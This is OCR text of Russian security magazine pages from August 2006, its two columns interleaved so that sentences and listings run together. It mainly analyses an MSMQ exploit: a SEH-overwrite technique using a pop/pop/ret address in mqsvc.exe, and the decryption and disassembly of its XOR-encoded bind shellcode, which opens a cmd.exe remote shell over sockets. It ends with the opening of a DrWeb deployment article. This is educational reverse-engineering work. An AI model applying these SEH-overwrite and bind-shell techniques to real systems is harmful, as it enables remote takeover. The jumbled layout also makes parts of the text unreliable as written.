бу под отладчиком, мы увидим, что массив offsets ложит- Допустим, никакого комментария у нас бы не было.
ся прямо поверх SEH-фрейма, подменяя его содержимое, И что тогда? Загружаем mqsvc.exe в hiew, двойным нажа-
а shell-код затирает адрес возврата из функции, заменяя тием клавиши <ENTER> переходим в дизассемблерный ре-
RET произвольным адресом, указывающим в «космос», при жим, нажимаем <F5> и вводим адрес «.4014E9» (точка ука-
обращении к которому возбуждается исключение и… уп- зывает, что это именно адрес, а не смещение).
равление получает подложный SEH-фрейм, передающий Видим:
управление на shell-код. Все просто! Главное – отладчик
иметь! И… установленную службу Message Queuing, кото- Листинг 3. Последовательность pop reg/pop reg/retn,
содержащаяся в файле mqsvc.exe
рой в распоряжении кодокопателя может и не быть. К то-
му же мы договорились, прежде чем запускать эксплоит ; вытолкнуть одно двойное слово из стека
.004014E9: 5F pop edi
(пусть даже под отладчиком!), сначала реконструировать ; вытолкнуть следующее двойное слово
его алгоритм. .004014EA: 5E pop esi
; выткнуть адрес возврата и передать по нему управление
А как мы его можем реконструировать? Хорошая голово- .004014EB: C3 retn
ломка для знатоков! Отбросив RPC-заголовки, мы остаем-
ся только с массивом offsets и shell-кодом. Очевидно, сме- Естественно, данный способ не универсален и вообще
щение массива offsets выбрано не случайно и играет в пе- говоря ненадежен, поскольку, в другой версии mqsvc.exe
реполнении ведущую роль, поскольку bind_shellcode пред- адрес «магической» последовательности наверняка будет
ставляет собой вполне «стандартный» shell-код, встречаю- иной, хотя в Windows 2000 Home, Windows 2000 Professional,
щийся во многих других эксплоитах и совпадающий с ним Windows 2000 Server/AdvServer адреса совпадают, пос-
байт-в-байт. кольку используется одна и та же версия mqsvc.exe, а вот
Рассмотрим массив offsets поближе (см. листинг 2). в Windows XP адрес уже «уплывает».
В начале массива расположена довольно характерная Интуитивно мы чувствуем, что передача управления
структура, состоящая из двух двойных слов, первое из ко- на shell-код осуществляется через RET, но остается не-
торых включает в себя двухбайтовую команду безусловного понятным каким образом указатель на shell-код мог очу-
перехода JMP SHORT (опкод – EBh), дополненную до двой- титься в стеке, ведь никто туда его явно не засылал! За-
ного слова парой NOP (впрочем, поскольку они все равно пихать в переполняющийся буфер можно все, что угодно,
не исполняются, здесь может быть все, что угодно). Следу- но при этом придется указать точный адрес размещения
ющее двойное слово указывает куда-то вглубь адресного shell-кода в памяти, а для этого необходимо знать значе-
пространства – 004014E9h и, судя по значению, принадле- ние регистра ESP на момент атаки, а оно в общем случае
жит прикладному приложению. В данном случае – програм- неизвестно.
ме mqsvc.exe, реализующей службу Message Queuing. Ком- Структурные исключения позволяют элегантно решить
ментарий, заботливо оставленный создателем эксплоита, эту задачу. Вместо того, чтобы затирать адрес возврата
говорит, что по этому адресу он ожидает увидеть конструк- (как делало это целое поклонение кодокопателей), мы под-
цию pop reg/pop reg/retn. Это классическая последователь- меняем оригинальный SEH-фрейм атакуемой программы
ность, используемая для передачи управления через под- своим. Теоретически, SEH-фреймы могут быть расположе-
ложные SEH-фреймы, подробно описанная в статье «Экс- ны в любом месте, но практически все известные компи-
плуатирование SEH в среде Win32» (http://www.securitylab.ru/ ляторы размещают их в стеке, на вершине кадра, прина-
contest/212085.php), написанной houseofdabus. Он же напи- длежащего данной функции, то есть по соседству с сохра-
сал и разбираемый нами эксплоит. ненным EPB и RET:

№8, август 2006 61

 безопасность
Листинг 4. Фрагмент функции, формирующий новый SEH-фрейм в EBX попадет адрес текущего SEH-фрейма. А это значит,
(компилятор – Microsoft Visual C++)
что для достижения задуманной цели мы должны поверх
; открыть новый... handler поместить указатель на команду JMP EBX (FFh E3h)
.text:0040104D push ebp
; ...кадр стека или CALL EBX (FFh D3h), которую можно найти как в самой
.text:0040104E mov ebp, esp атакуемой программе, так и в памяти операционной систе-
; это последний SEH-фрейм
.text:00401050 push 0FFFFFFFFh мы (естественно, адрес будет «плавать» от версии к вер-
; предшествующий SEH-обработчик сии, что есть неизбежное зло, но с этим надо смириться).
.text:00401052 push offset stru_407020
; новый SEH-обработчик Тогда при возникновении исключения управление будет
.text:00401057 push offset _except_handler3 передано на двойное слово, содержащее указатель prev.
; получить указатель на SEH-фрейм
.text:0040105C mov eax, large fs:0 Да-да! Не по указателю prev, а именно на сам указатель,
; предыдущий SEH-обработчик который следует заменить на JMP SHORT sellcode. Пос-
.text:00401062 push eax
; зарегистрировать новый SEH-фрейм кольку команды перехода в x86-процессорах относитель-
.text:00401063 mov large fs:0, esp ные, знать точное расположение shell-кода в памяти уже
необязательно.
Отсюда: если мы можем затереть адрес возврата, подме- В Windows XP эта лазейка была прикрыта, но! Осталась
на SEH-фрейма не составит никаких проблем (см. рис. 2)! функция-фильтр __except_handler3, входящая в состав RTL-
Сама структура фреймов проста до безобразия: компилятора, а потому никак не зависящая от операцион-
ной системы. Рассмотрим окрестности дизассемблерного
Листинг 5. Структура SEH-фреймов кода, передающего управление на зарегистрированный
struct EXCEPTION_REGISTRATION программистом обработчик.
{
// предыдущий SEH-фрейм
/* 00h */ EXCEPTION_REGISTRATION *prev; Листинг 7. Фрагмент RTL-функции __except_handler3,
// обработчик исключения сохраняющий указатель на текущий SEH-фрейм перед вызовом
/* 04h */ DWORD *handler; обработчика исключения
};
; указатель на текущий SEH-фрейм
.text:004012D1 mov esi, [ebx+0Ch]
Первое двойное слово указывает на предыдущий SEH- .text:004012D4 mov edi, [ebx+8]
.text:004012D7
фрейм в цепочке (если текущий обработчик не знает, что ; CODE XREF: unknwn_libname_1+90↓j
делать с исключением, он отдает его предыдущему обра- .text:004012D7 unknwn_libname_2:
; обработчиков больше нет?
ботчику; если ни один из обработчиков не может обрабо- .text:004012D cmp esi, 0FFFFFFFFh
тать исключение, операционная система выбрасывает зна- ; если да, завершаем программу
.text:004012DA jz short unknwn_libname_5
менитое сообщение о критической ошибке и завершает ра- .text:004012DC lea ecx, [esi+esi*2]
боту приложения в аварийном режиме). .text:004012DF cmp dword ptr [edi+ecx*4+4], 0
; Microsoft VisualC 2-7/net
Следующее двойное слово содержит адрес процедуры .text:004012E4 jz short unknwn_libname_3
обработчика исключений (не путать с функцией-фильтром ; сохраняем указатель на фрейм
.text:004012E6 push esi
исключений, которая обслуживаться не операционной сис- ; сохраняем указатель на кадр
темой, а компилятором!). Очень заманчиво записать сю- .text:004012E7 push ebp
.text:004012E8 lea ebp, [ebx+10h]
да указатель на shell-код, но вся проблема в том, что этого ; вызываем обработчик исключения
указателя мы не знаем и в общем случае не можем узнать! .text:004012EB call dword ptr [edi+ecx*4+4]
; восстанавливаем кадр
На самом деле ситуация не так уж плачевна. .text:004012EF pop ebp
Рассмотрим процесс обработки исключений повнима- ; восстанавливаем фрейм
.text:004012F0 pop esi
тельнее. В тот момент, когда прикладной код пытается сде-
лать что-то недопустимое, процессор генерирует прерыва- Вот оно! Перед вызовом обработчика исключения, фун-
ние. Операционная система перехватывает его и передает кция временно сохраняет указатель на текущий SEH-фрейм
внутренней функции KiUserExceptionDispatcher, содержа- в стеке (команда PUSH ESI), который на момент вызова об-
щейся внутри NTDLL.DLL. Та в свою очередь вызывает про- работки будет расположен по смещению +8h. Причем ис-
межуточную функцию RtlUnwind (все из той же NTDLL.DLL), править это средствами операционной системы никак не-
передающую управление фильтру исключений, установлен- возможно! Необходимо переписать RTL каждого из компи-
ным компилятором (в случае Microsoft Visual C++ эта фун- ляторов и перекомпилировать все программы!
кция называется __except_handler3), которая и вызывает Для реализации атаки достаточно заменить handler
прикладной обработчик, зарегистрированный программис- указателем на последовательность pop reg/pop reg/ret или
том уязвимого приложения. add esp, 8/ret (которая достаточно часто встречается в эпи-
Получается следующая цепочка вызовов: логах функций), а поверх prev как и раньше записать jump
на shell-код. Первая команда pop сталкивает с вершины
Листинг 6. Последовательность вызова функций при обработке стека уже ненужный адрес возврата, оставленный call, вто-
исключения
рая – выбрасывает сохраненный регистр EBP, а ret переда-
NTDLL.DLL!KiUserExceptionDispatcher → ет управление на текущий SEH-фрейм.
NTDLL.DLL!RtlUnwind → __except_handler3
Теперь структура массива offsets становится более или
В Windows 2000 функция NTDLL.DLL!RtlUnwind остав- менее понятна. Мы видим три подложных SEH-фрейма –
ляет немного «мусора» в регистрах, в результате чего по одному для каждой операционной системы, расположен-

62
 безопасность
ных в памяти с таким расчетом, чтобы они совпадали с те-
кущими SEH-фреймами атакуемой программы. Это самая
капризная часть эксплоита, поскольку дислокация фрей-
мов зависит как от версии атакуемой программы (добав-
ление или удаление локальных переменных внутри уязви-
мой функции изменяет расстояние между фреймом и пе-
реполняющимся буфером), так и от начального положе-
ния стека на момент запуска программы (за это отвеча-
ет операционная система). В дополнение к этому необхо-
димо следить за тем, чтобы handler действительно указы-
вал на pop reg/pop reg/ret (add esp,8/ret), а не на что-то дру- Рисунок 3. Расшифровка shell-кода в hiew
гое. В противном случае exploit работать не будет, но если
все значения подобранны правильно, управление получит повнимательнее, мы с удовлетворением обнаруживаем
bind_shellcode, который мы сейчас попробуем дизассемб- тривиальный расшифровщик в лице инструкции XOR, сле-
лировать, но прежде необходимо перевести ASCII-строку довательно, точка входа в shell-код определена нами пра-
в двоичный вид, чтобы его «проглотил» hiew или IDA PRO. вильно и все, что нужно, – это расшифровать его, а для это-
Вместо того, чтобы писать конвертор с нуля, воспользу- го мы должны определить значение регистров EBX и ECX,
емся возможностями компилятора языка Си, написав не- используемых расшифровщиком.
сложную программу, состоящую фактически всего из од- С регистром ECX разобраться несложно – он инициа-
ной строки (остальные – объявления): лизируется явно путем нехитрых математических преоб-
разований:
Листинг 8. Программа, сохраняющая ASCII-массив shellcode[]
в одноименный двоичный файл, пригодный для дизассемблирования sub ecx,ecx→ecx:=0; sub ebx,-50h→add ecx,50h→ecx := 50h
#include <stdio.h>
// сюда помещаем массив для преобразования
char shellcode[]="\xXX\xXX\xXX\xXX"; то есть на входе в расшифровщик ECX будет иметь зна-
main(){FILE *f;if(f=fopen("shellcode","wb")) ↵ чение 50h – именно столько двойных слов нам предстоит
fwrite(shellcode, sizeof(shellcode),1,f);}
расшифровать.
Выделяем массив bind_shellcode и копируем в нашу про- С регистром EBX все обстоит намного сложнее, и, чтобы
грамму, по ходу дела переименовывая его в shellcode. Ком- вычислить его значение, необходимо углубиться во внут-
пилируем с настройками по умолчанию, запускаем. На дис- ренние структуры данных сопроцессора. Команда FLDZ по-
ке образуется файл shellcode, готовый к загрузке в IDA Pro мещает на стек сопроцессора константу +0.0, а команда
или hiew (только не забудьте переключить дизассемблер FSTENV сохраняет текущую среду сопроцессора по адре-
в 32-разрядный режим!). су [esp-0Ch]. Открыв «Intel Architecture Software Developer's
Начало дизассемблерного листинга выглядит так: Manual Volume 2: Instruction Set Reference», среди прочей по-
лезной информации мы найдем и сам формат среды FPU:
Листинг 9. В начале shell-кода расположен расшифровщик,
расшифровывающий весь остальной код Листинг 10. Псевдокод команды fstenv, сохраняющей среду FPU
; ECX := 0 FPUControlWord → SRC(FPUControlWord);
00000000: 29C9 sub ecx,ecx FPUStatusWord → SRC(FPUStatusWord);
; EBX := 50h FPUTagWord → SRC(FPUTagWord);
00000002: 83E9B0 sub ecx,-050 FPUDataPointer → SRC(FPUDataPointer);
; загрузить +0.0 на стек FPU FPUInstructionPointer → SRC(FPUInstructionPointer);
00000005: D9EE fldz FPULastInstructionOpcode → SRC(FPULastInstructionOpcode);
; сохранить среду FPU в памяти
00000007: D97424F4 fstenv [esp][-0C]
; EBX := &fldz Наложив эту структуру на стек, мы получим вот что:
0000000B: 5B pop ebx
0000000C: 81731319F50437 xor d,[ebx][13],03704F519 Листинг 11. Карта размещения среды в стековой памяти
; ^расшифровываем двойными словами
0000000C ->- fstenv -> - 0Ch FPUControlWord
; EBX += 4:следующее двойное слово - 08h FPUStatusWord
00000013: 83EBFC sub ebx,-004 - 04h FPUTagWord
; мотаем цикл ->--- esp ---> 00h FPUDataPointer
00000016: E2F4 loop 00000000C (1) <- pop ebx -<- + 04h FPUInstructionPointer
; зашифрованная команда + 08 FPULastInstructionOpcode
00000018: E59F in eax,09F
; зашифрованная команда
0000001A: EF out dx,eax Из этой схемы видно, что команда POP EBX выталкива-
ет в регистр EBX адрес последней FPU-инструкции, кото-
Первые 8 команд более или менее понятны, а вот даль- рой и является FLDZ, расположенная по смещению 5h (ус-
ше начинается явный мусор, типа инструкций IN и OUT, ко- ловно). При исполнении на «живом» процессоре смещение
торые при попытке выполнения на прикладном режиме воз- будет наверняка другим, и, чтобы не погибнуть, shell-код
буждают исключение. Тут что-то не так! Либо точка входа должен определить, где именно он располагается в памя-
в shell-код начинается не с первого байта (но это противо- ти. Разработчик shell-кода применил довольно необычный
речит результатам наших исследований), либо shell-код за- подход, в то время как подавляющее большинство ограни-
шифрован. Присмотревшись к первым восьми командам чивается тривиальным CALL/POP REG. Сложив получен-

№8, август 2006 63

 безопасность
ное смещение 5h с константой 13h, фигурирующей в инс-
трукции XOR, мы получим 18h – адрес первого зашифро-
ванного байта.
Зная значения регистров, нетрудно расшифровать shell-
код. В IDA Pro для этого достаточно написать следующий
скрипт:
и получаем 69h. Именно по этому смещению и будет пере-
дано управление! А команды, идущие за инструкцией CALL,
расположены чисто для маскировки, чтобы противник по-
дольше голову поломал.
Хорошо, отправляемся в район 69h и смотрим, что хо-
рошего у нас там:

Листинг 12. Скрипт для IDA Pro, расшифровывающий shell-код Листинг 14. Код, вычисляющий базовый адрес KERNEL32.DLL
через PEB
auto a,x; // объявление переменных
for(a = 0; a < 0x50; a++) // цикл расшифровки ; ebx := 0
{ seg000:00000069 31 DB xor ebx, ebx
// читаем очередное двойное слово ; PEB
x=Dword(MK_FP("seg000",a*4+0x18)); seg000:0000006B 64 8B 43 30 mov eax, fs:[ebx+30h]
// расшифровываем ; PEB_LDR_DATA
x = x ^ 0x3704F519; seg000:0000006F 8B 40 0C mov eax, [eax+0Ch]
//записываем расшифрованное значение ; InInitializationOrderModuleList
PatchDword(MK_FP("seg000",a*4+0x18),x); seg000:00000072 8B 70 1C mov esi, [eax+1Ch]
} ; EAX := *ESI
seg000:00000075 AD lodsd
; BASE of KERNEL32.DLL
Нажимаем <Shift+F2>, в появившемся диалоговом окне seg000:00000076 8B 40 08 mov eax, [eax+8]
вводим вышеприведенный код, запуская его на выполне-
ние по <Ctrl+Enter>. В hiew расшифровка осуществляется С первой командой, обнуляющей EBX через XOR, все по-
еще проще. Открываем файл shellcode, однократным нажа- нятно. Но вот вторая… что-то считывает из ячейки, лежа-
тием клавиши <ENTER> переводим редактор в hex-режим, щей по адресу FS:[EBX+30]. Селектор FS указывает на об-
подводим курсор к смещению 18h – туда, где кончается рас- ласть памяти, где операционная система хранит служеб-
шифровщик и начинается зашифрованный код (см. лис- ные (и практически никак недокументированные) данные
тинг 9), переходим в режим редактирования по <F3>, на- потока. К счастью, в нашем распоряжении есть Интернет.
жимаем <F8> (Xor) и вводим константу шифрования, за- Набираем в Googlе «fs:[30h]» (с кавычками!) и получаем ку-
писанную с учетом порядка байтов на x86 задом наперед: чу ссылок от рекламы картриджей TK-30H до вполне вме-
19h F5h 04h 37h и жмем <F8> до тех пор, пока курсор не дой- няемых материалов, из которых мы узнаем, что в ячейке
дет до конца файла. Сохраняем изменения клавишей <F9> FS:[30h] хранится указатель на Process Enviroment Block –
и выходим (см. рис. 3). блок окружения процесса или сокращенно PEB.
После расшифровки shell-код можно дизассемблиро- Описание самого PEB (как и многих других внутренних
вать в обычном режиме. Начинаем анализ и… тут же вля- структур операционной системы) можно почерпнуть из за-
пываемся в древний, но все еще работающий антидизас- мечательной книги «The Undocumented Functions Microsoft
семблерный трюк: Windows NT/2000», электронная версия которой доступна
по адресу: http://undocumented.ntinternals.net.
Листинг 13. Древний антидизассемблерный трюк – Из нее мы узнаем, что по смещению 0Ch от начала PEB
прыжок в середину команды
лежит указатель на структуру PEB_LDR_DATA, по смеще-
; CODE XREF: seg000:0000001C↓p нию 1Ch от начала которой лежит список. Не указатель
seg000:019 loc_19:
; скрытая команда в операнде на список, а сам список, состоящий из двух двойных слов:
seg000:019 6A EB push FFFFFFEBh указателя на следующий LIST_ENTRY и указателя на экзем-
; продолжение скрытой команды
seg000:01B 4D dec ebp пляр структуры LDR_MODULE, перечисленных в порядке
; вызов в середину push инициализации модулей, а первым, как известно, инициа-
seg000:01C E8 F9 FF FF FF call loc_19+1
; сохраняем все регистры лизируется KERNEL32.DLL.
seg000:021 60 pusha
Листинг 15. Недокументированная структура PEB_LDR_DATA
Команда «CALL LOC_19+1» прыгает куда-то в сере- /* 00 */ ULONG Length;
дину инструкции PUSH, засылающей в стек константу /* 04 */ BOOLEAN Initialized;
/* 08 */ PVOID SsHandle;
FFFFFFEBh, в которой опытные кодокопатели уже наверня- /* 0C */ LIST_ENTRY InLoadOrderModuleList;
ка увидели инструкцию безусловного перехода, заданную /* 14 */ LIST_ENTRY InMemoryOrderModuleList;
/* 1C */ LIST_ENTRY InInitializationOrderModuleList;
опкодом EBh, а вся команда выглядит так: EBh 4Dh, где 4Dh
«отрываются» от инструкции DEC EBP. Важно не забывать, Описание самой структуры LDR_MODULE выглядит
что PUSH с опкодом 6Ah – это знаковая команда, то есть так (кстати говоря, в «The Undocumented Functions Microsoft
никаких FFh в самом опкоде нет, поэтому вместо перехода Windows NT/2000» допущена грубая ошибка – пропущен
по адресу EBh FFh (как это следует из дизассемблерного union):
текста) мы получаем переход по адресу EBh 4Dh (как это
следует из машинного кода), что совсем не одно и то же! Листинг 16. Недокументированная структура LDR_MODULE
Сам переход, кстати говоря, относительный и вычисляет- typedef struct _LDR_MODULE {
ся от конца команды JMP, длина которой в данном случае union order_type
{
равна двум. Складываем 4Dh (целевой адрес перехода) /* 00 */ LIST_ENTRY InLoadOrderModuleList;
с 1Ah (адрес самой команды перехода – loc_19 + 1 = 1Ah) /* 00 */ LIST_ENTRY InMemoryOrderModuleList;

64
 безопасность
/* 00 */ LIST_ENTRY InInitializationOrderModuleList; ; если конец, выходим из цикла
} seg000:00000043 74 07 jz short loc_4C
/* 08 */ PVOID BaseAddress; ; следующие 2 строчки хэшируют имя
/* 0C */ PVOID EntryPoint; seg000:00000045 C1 CA 0D ror edx, 0Dh
/* 10 */ ULONG SizeOfImage; seg000:00000048 01 C2 add edx, eax
/* 14 */ UNICODE_STRING FullDllName; ; мотаем цикл
/* 18 */ UNICODE_STRING BaseDllName; seg000:0000004A EB F4 jmp short loc_40
/* 1C */ ULONG Flags; seg000:0000004C
/* 20 */ SHORT LoadCount; ; CODE XREF: seg000:00000043↑j
/* 22 */ SHORT TlsIndex; seg000:0000004C loc_4C:
/* 24 */ LIST_ENTRY HashTableEntry; ; это «наш» хэш?
/* 28 */ ULONG TimeDateStamp; seg000:0000004C 3B 54 24 28 cmp edx, [esp+28h]
} LDR_MODULE, *PLDR_MODULE; ; продолжаем поиск, если не наш
seg000:00000050 75 E5 jnz short loc_37
; ordinalTableRVA
Самая трудная часть позади. Теперь мы точно знаем, seg000:00000052 8B 5F 24 mov ebx, [edi+24h]
; ordinalTable VA
что EAX содержит базовый адрес KERNEL32.DLL. Продол- seg000:00000055 01 EB add ebx, ebp
жаем анализировать дальше. ; index
seg000:00000057 66 8B 0C 4B mov cx, [ebx+ecx*2]
; exportAddressTableRVA
Листинг 17. Вызов API-функции по хэш-именам seg000:0000005B 8B 5F 1C mov ebx, [edi+1Ch]
; exportAddressTable VA
; esi := &MyGetProcAddress seg000:0000005E 01 EB add ebx, ebp
seg000:00000079 5E pop esi ; вот она наша функция!!!
; #LoadLibraryA seg000:00000060 03 2C 8B add ebp, [ebx+ecx*4]
seg000:0000007A 68 8E 4E 0E EC push 0EC0E4E8Eh ; сохраняем в EAX
; base of KERNEL32.DLL ; восстанавливаем регистры
seg000:0000007F 50 push eax seg000:00000063 89 6C 24 1C mov [esp+1Ch], ebp
; MyGetProcAddress seg000:00000067 61 popa
seg000:00000080 FF D6 call esi ; возвращаемся из функции
seg000:00000068 C3 retn

Команда POP ESI выталкивает в регистр ESI двойное

слово, лежащее на вершине стека. А что у нас там? Помните Зная базовый адрес загрузки KERNEL32.DLL (он пере-
команду CALL, передающую управление хитрой инструкции дается функции через стек и лежит по смещению 24h бай-
JMP? Она положила на стек адрес возврата, то есть адрес та от вершины – остальное пространство занимают регис-
следующей за ней команды, равный в данном случае 021h, тры, сохраненные командой PUSHA), программа получа-
который тут же и вызывается инструкцией CALL ESI, при- ет указатель на PE-заголовок, откуда извлекает указатель
нимающей два аргумента – базовый адрес KERNEL32.DLL, на таблицу экспорта, считывая общее количество экспор-
передаваемый в регистре EAX и непонятную константу тируемых имен (numberOfNamePointers) и RVA-указатель
0EC0E4E8Eh. на массив с именами, который тут же преобразуется в эф-
фективный виртуальный адрес путем сложения с базовым
Листинг 18. Процедура MyGetProcAddress, возвращающая адрес адресом загрузки KERNEL32.DLL.
API-функции по хэш-сумме его имени
А вот дальше… дальше начинается самое интерес-
; сохраняем все регистры ное! Для каждого из экспортируемых имен функция вы-
seg000:00000021 60 pusha
; base of KERNEL32.DLL числяет хэш, сравнивая его с тем «загадочным» числом.
seg000:00000022 8B 6C 24 24 mov ebp, [esp+24h] Если они совпадают, искомая API-функция считается най-
; PE header
seg000:00000026 8B 45 3C mov eax, [ebp+3Ch] денной, и возвращается ее виртуальный адрес. Таким об-
; export table RVA разом, данный код представляет собой аналог функции
seg000:00000029 8B 7C 05 78 mov edi, [ebp+eax+78h]
; адрес таблицы экспорта GetProcAddress, только с той разницей, что он принимает
seg000:0000002D 01 EF add edi, ebp не ASCII-имя функции, а его 32-битный хэш. Условимся на-
; numberOfNamePointers
seg000:0000002F 8B 4F 18 mov ecx, [edi+18h] зывать эту процедуру MyGetProcAddress.
; namePointerRVA Можно ли восстановить имя функции по ее хэшу? С ма-
seg000:00000032 8B 5F 20 mov ebx, [edi+20h]
; namePointer VA тематической точки зрения – навряд ли, но что мешает
seg000:00000035 01 EB add ebx, ebp нам запустить shell-код под отладчиком (см. одноименную
seg000:00000037
; CODE XREF: seg000:00000050↓j врезку) и «подсмотреть» возвращенный виртуальный ад-
seg000:00000037 loc_37: рес, по которому имя определяется без проблем!
; обрабатываем следующее имя
seg000:00000037 49 dec ecx Сказано – сделано! Немного протрассировав програм-
; RVA-адрес функции му до строки 82h, мы обнаруживаем в регистре EAX чис-
seg000:00000038 8B 34 8B mov esi, [ebx+ecx*4]
; виртуальный адрес функции ло 79450221h (зависит от версии системы, на вашей ма-
seg000:0000003B 01 EE add esi, ebp шине наверняка будет иным). Нормальные отладчики (ти-
; EAX := 0
seg000:0000003D 31 C0 xor eax, eax па OllyDbg) тут же покажут имя функции LoadLibraryA.
; EDX := 0 Как вариант можно воспользоваться утилитой DUMPBIN
seg000:0000003F 99 cdq
seg000:00000040 из Platform SDK, запустив ее со следующими ключами:
; CODE XREF: seg000:0000004A↓j «dumpbin KERNEL32.DLL /EXPORTS > kernel32», только пом-
seg000:00000040 loc_40:
; читаем очередной байт имени ните, что она показывает относительные RVA-адреса, по-
seg000:00000040 AC lodsb этому необходимо либо добавить к ним базовый адрес за-
; это конец имени?
seg000:00000041 84 C0 test al, al грузки KERNEL32.DLL, либо вычесть его из адреса иско-
мой функции.

№8, август 2006 65

 безопасность
Листинг 19 загрузка библиотеки ws2_32 для работы с сокетами считывает ASCII-строку, передавая ее командному интер-
и ее инициализация
претатору cmd.exe по следующей схеме:
; "ws2_32"
seg000:00000082 66 53 push bx CreateProcessA(0, "cmd...", 0,0, 1,0,0,0, lpStartupInfo,
seg000:00000084 66 68 33 32 push small 3233h lpProcessInformation) → WaitForSingleObject(hProc, -1) →
seg000:00000088 68 77 73 32 5F push 5F327377h ExitThread(0)
; &"ws2_32"
seg000:0000008D 54 push esp
; LoadLibraryA Злоумышленник может запускать любые программы
seg000:0000008E FF D0 call eax
; WSAStartup и выполнять пакетные команды, что дает ему практичес-
seg000:00000090 68 CB ED FC 3B push 3BFCEDCBh ки неограниченную власть над системой, разумеется, ес-
seg000:00000095 50 push eax
; MyGetProcAddress ли брандмауэр будет не прочь, но про обход брандмауэров
seg000:00000096 FF D6 call esi уже неоднократно писали.

Имея в своем распоряжении функцию LoadLibraryA, shell- Заключение

код загружает библиотеку ws_2_32 для работы с сокетами,
имя которой передается непосредственно через стек и за-
вершается двумя нулевыми байтами (хотя было бы доста-
точно и одного), формируемого командой PUSH BH (как мы
помним, несколькими строками выше EBX был обращен
в ноль – см. листинг 9).
PUSH BH это двухбайтовая команда, в то время как
PUSH EBX – однобайтовая. Но не будем придираться по ме-
лочам.
Процедура MyGetProcAddress снова принимает «маги-
ческое» число 3BFCEDCBh, которое после расшифровки
под отладчиком оказывается API-функцией WSAStartup, вы-
зов которой совершенно не оправдан, поскольку для ини-
циализации библиотеки сокетов ее достаточно вызвать
один-единственный раз, что уже давно сделало уязви-
мое приложение, иначе как бы мы ухитрились его удален-
но атаковать?
Последовательность последующих вызовов вполне
стандартна:
WSASocketA(2, 1, 0,0,0,0) → bind(s, {sockaddr_in.2;
sin_port.0x621Eh}, 0x10) → listen(s,2) → accept (s, *addr,
*addrlen) → closesocket(s)
Дождавшись подключения на заданный порт, shell-код
Вот мы и познакомились с основными приемами исследо-
вания эксплоитов. Остальные анализируются аналогично.
Главное не теряться и всегда в любой ситуации помнить, что
Интернет рядом с тобой! Достаточно лишь правильно со-
ставить запрос, и все недокументированные структуры бу-
дут видны как на ладони, ведь недра операционных систем
уже изрыты вдоль и поперек, так что крайне маловероятно
встретить в shell-коде нечто принципиально новое. То есть
встретить как раз-таки очень даже вероятно, но «новым»
оно пробудет от силы неделю. Ну пусть десять дней. А пос-
ле начнет расползаться по форумам, электронным и бу-
мажным журналам, будет обсуждаться в курилках и хакер-
ских кулуарах наконец. А затем Microsoft выпустит очеред-
ное исправление к своей замечательной системе, и таким
трудом добытые трюки станут неактуальными.
1. Системные вызовы NT. Наиболее полная коллекция систем-
ных вызовов всей линейки NT-подобных систем, крайне по-
лезна для исследователей (на английском языке): http://www.
metasploit.com/users/opcode/syscalls.html;
2. Системные вызовы по LINUX. Энциклопедия системных вызо-
вов различных LINUX-подобных систем с прототипами, а кое-
где и с комментариями (на английском языке): http://www.lxhp.
in-berlin.de/lhpsyscal.html.

Как запустить shell-код под отладчиком

Статические методы исследования, к которым относятся дизас-
семблеры, не всегда удобны, и во многих случаях отладка намно-
го более предпочтительна. Однако отладчиков, способных отла-
живать shell-код, не существует, и приходится хитрить.
Пишем простую программу наподобие «hello, word!», компи-
лируем. Открываем полученный исполняемый файл в hiew, при-
вычным нажатием клавиши <ENTER> переключаемся в hex-ре-
жим, давим <F8> (header) и переходим в точку входа по <F5>. На-
жимаем <*> и выделяем курсором некоторое количество байт, та-
Рисунок 4. Shell-код, отлаживаемый в отладчике OllyDbg
кое – чтобы было не меньше размера shell-кода. Нажимаем <*>
еще раз для завершения выделения и перемещаем курсор в на- После этой несложной хирургической операции исполняемый
чало выделенного блока (по умолчанию он будет раскрашен бор- файл можно отлаживать любым отладчиком – хоть soft-ice, хоть
довым). Давим <Ctrl-F2>, в появившемся диалоговом окне вво- OllyDbg, но перед этим необходимо отредактировать атрибуты
дим имя файла (в данном случае shellcode) и после завершения кодовой секции (обычно она называется .text), разрешив ее мо-
процесса загрузки блока с диска выходим из hiew. <F9> можно дификацию, иначе shell-код выбросит исключение при первой же
не нажимать, т. к. изменения сохраняются автоматически. Руга- попытке записи. Проще всего обработать файл с помощью утили-
тельство «End of input file» означает, что размер выделения пре- ты EDITBIN, входящей в штатный комплект поставки компилятора
вышает размер файла. В данном случае это нормальная ситуа- Microsoft Visual C++, запустив ее следующим образом:
ция. Хуже, когда наоборот (если часть файла окажется незагру-
Листинг 20. Снятие с кодовой секции запрета на запись
женной, shell-код, естественно, работать не будет). EDITBIN filename.exe /SECTION:.text,rwe

66
 безопасность

Настраиваем
DrWeb Enterprise Suite

Антон Борисов
Мало кто ставит под сомнение факт, что на современном рабочем месте должен
стоять антивирусный пакет. Сегодня вирусы берут не умением, а числом. В основном
они не разрушают информацию – они создают условия к утечке коммерческой информации.
Как защитить предприятие от вирусной активности?

С
одной стороны, можно отфиль-
тровывать входящие и исходя-
щие почтовые сообщения че-
рез почтовый шлюз. Здесь замеча-
тельно вписываются как коммерчес-
кие продукты, так и продукты формата
Open Source. Можно настроить систе-
му фильтрации содержимого, которое
проходит через proxy-серверы, здесь
также достаточно альтернатив. По су-
ти происходит принудительная очист-
ка от транзитных вирусных приложе-
ний. А стоит ли производить повсемес-
тное развертывание антивирусных па-
кетов на каждом рабочем месте? Без-

68
 безопасность
условно, никто это не ставит под сомнение. Но что имен- пуска сервера. Здесь пока преждевременно думать о све-
но выбрать в качестве основы, чтобы был централизован- жих базах и версиях, т.к. мы затем настроим обновление
ный центр обновления антивирусных агентов, имелся еди- ПО и новые версии получим по сети, через сервис GUS –
ный центр управления и велась оперативная статистика? Global Update System.
На мой взгляд, стоит обратить внимание на антивирусные Серверная часть антивирусного ПО доступна как для
решения масштаба предприятия (Enterprise Solutions). Windows-платформы, так и для UNIX/Linux-систем. Ког-
На сегодняшний день наиболее распространенными яв- да вы решите разворачивать систему на базе Linux-сер-
ляются enterprise-решения от компаний: вера, то предварительно узнайте, какая GLIBC-библио-
 Symantec – Symantec AntiVirus Enterprise Edition [1]. тека используется в вашей системе, и забирайте нужную
 Eset Software – NOD32 Enterprise Edition [2]. вам версию.
 Sophos – Endpoint Security [3]. Здесь и далее я буду расcматривать установку на Linux-
 McAfee – McAfee Total Protection Enterprise [4]. сервер. Итак, забираем с сайта архив, совместимый с вер-
 F-Secure – F-Secure Anti-Virus for Workstations [5]. сией GLIBC-библиотеки в вашей системе (для моей сис-
 Panda – Panda EnterpriSecure Antivirus [6]. темы – Slackware Linux 10.2 – оказался подходящим архив
